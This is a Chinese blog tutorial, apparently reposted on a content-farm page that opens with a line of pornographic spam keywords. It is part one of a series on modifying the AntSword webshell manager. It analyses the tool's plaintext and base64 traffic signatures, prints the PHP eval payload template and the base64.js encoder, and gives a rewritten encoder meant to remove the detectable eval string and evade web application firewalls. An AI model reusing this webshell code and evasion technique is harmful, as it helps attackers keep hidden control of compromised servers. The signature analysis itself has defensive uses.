日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

蚁剑从入门到魔改【一】

發布時間:2024/3/26 编程问答 31 豆豆
生活随笔 收集整理的這篇文章主要介紹了 蚁剑从入门到魔改【一】 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

蟻劍從入門到魔改【一】

    • 一、明文通信
    • 二、密文通信
    • 三、自定義編解碼
      • source/core/php/index.js
      • source/core/php/base64.js
      • 自定義加密算法
    • 四、參考文章

連接地址

選用網卡

一、明文通信

特征

=%40ini_set set_time_limit

分析過程

以 HTTP 流的形式 打開數據包

在虛擬終端執行命令

如上圖:返回包首部和尾部有填充字符,分別是 117dd7689896 和 d3f7440 。對應了請求包中的 echo 的輸出內容

二、密文通信

特征

base64_decode

分析過程

在蟻劍php的選項下,請求包默認支持base64、chr、chr16、rot13四種編碼方式,響應包支持base64、rot13編碼,還支持在幾種編碼方式下隨機選擇。

這里我們選擇 請求和響應的方式 都是base64加密

注意:這里可不是單純的 Base64加密,可以看到。加密后的數據做了混淆,有 %

三、自定義編解碼

首先我們應該知道,在蟻劍的 source/core/php 目錄下有對應的編碼,我們只需要在這里進行修改即可,然后流量特征就會發生變化,可以通過簡單的操作,隱藏某些特征,就可以很有效的繞過waf

source/core/php/index.js

打開source/core/php 下的 index.js 之后 會看到下面的內容。在 encoders 中寫什么,對應的蟻劍的界面上就會出現什么內容

同理,下面代碼還有 關于分割符號設置的

接下來,看最重要的 能夠通過修改 繞過 WAF 的代碼

index.js 最后的 data[’_’] 就是shell代碼執行的主體架構

蟻劍會將參數傳遞到對應的位置拼接成為完整代碼

最終服務器執行的就是這里的代碼

data['_'] = `@ini_set("display_errors", "0"); @set_time_limit(0); ${asencCode}; function asoutput(){$output=ob_get_contents();ob_end_clean();echo "${tag_s.substr(0,tag_s.length/2)}"."${tag_s.substr(tag_s.length/2)}";echo @asenc($output);echo "${tag_e.substr(0,tag_e.length/2)}"."${tag_e.substr(tag_e.length/2)}";}ob_start();try{${tmpCode};}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();`;

觀察第2,3行,和數據包中的responseBody的第一行很相似

因此我們可以推理出,這就是默認情況下(明文通信),蟻劍數據包的流量特征

上面介紹了明文通信,如果想要進行密文通信,例如 base64 加密通信,那么就要分析 source/core/php/base64.js

source/core/php/base64.js

下面是 base64.js 的文件內容

/*** php::base64編碼器* ? 利用php的base64_decode進行編碼處理*/'use strict';module.exports = (pwd, data, ext = null) => {// 生成一個隨機變量名let randomID;if (ext.opts.otherConf['use-random-variable'] === 1) {randomID = antSword.utils.RandomChoice(antSword['RANDOMWORDS']);} else {randomID = `${antSword['utils'].RandomLowercase()}${Math.random().toString(16).substr(2)}`;}data[randomID] = Buffer.from(data['_']).toString('base64');data[pwd] = `@eval(@base64_decode($_POST['${randomID}']));`;delete data['_'];return data; }

shell 所有傳遞的參數都在data列表中,需要執行的代碼在 data['_'] 中,data[randomID] = Buffer.from(data['_']).toString('base64'); 的表達的意思就是 將 data['_'] 中的代碼讀取并進行 base64 編碼

data[pwd] 以參數的形式將內容傳遞到 服務器,將 data['_'] 的內容在服務器端 解碼并執行,雖然 data['_'] 是被編碼了,但是 data[pwd] 作為參數傳遞仍然是以明文傳輸

因此我們要想方設法 不發送明文內容,也就是不發送 data[pwd] 中的內容

如果上述代碼不做修改,數據包中會看到以下特征(responseBody的第一行),對應 base64.js 的下面這行代碼

data[pwd] = `@eval(@base64_decode($_POST['${randomID}']));`;

下面對 bash64.js 文件做修改

注意只能寫成 data[pwd],不能寫成 data[randomID],不然的或連接的時候就會發出警告 返回數據為空

/*** php::base64編碼器* ? 利用php的base64_decode進行編碼處理*/'use strict';module.exports = (pwd, data, ext = null) => {// 生成一個隨機變量名let randomID;if (ext.opts.otherConf['use-random-variable'] === 1) {randomID = antSword.utils.RandomChoice(antSword['RANDOMWORDS']);} else {randomID = `${antSword['utils'].RandomLowercase()}${Math.random().toString(16).substr(2)}`;}//data[randomID] = Buffer.from(data['_']).toString('base64');data[pwd] = Buffer.from(data['_']).toString('base64');delete data['_'];return data; }

自定義加密算法

點擊蟻劍的編碼設置,可以創建編碼器或解碼器,以繞過更嚴格的 WAF 查殺。同時官方也在 github上提供了很多優秀的項目

四、參考文章

蟻劍原理與魔改:https://www.cnblogs.com/Lmg66/p/14016869.html

蟻劍改造過WAF(強烈推薦):https://xz.aliyun.com/u/31536

蟻劍流量特征與編碼器入門:http://www.feidao.site/wordpress/?p=4495#toc-head-6

從0到1掌握AWD攻防之RSA必殺:https://xz.aliyun.com/t/4640

總結

以上是生活随笔為你收集整理的蚁剑从入门到魔改【一】的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。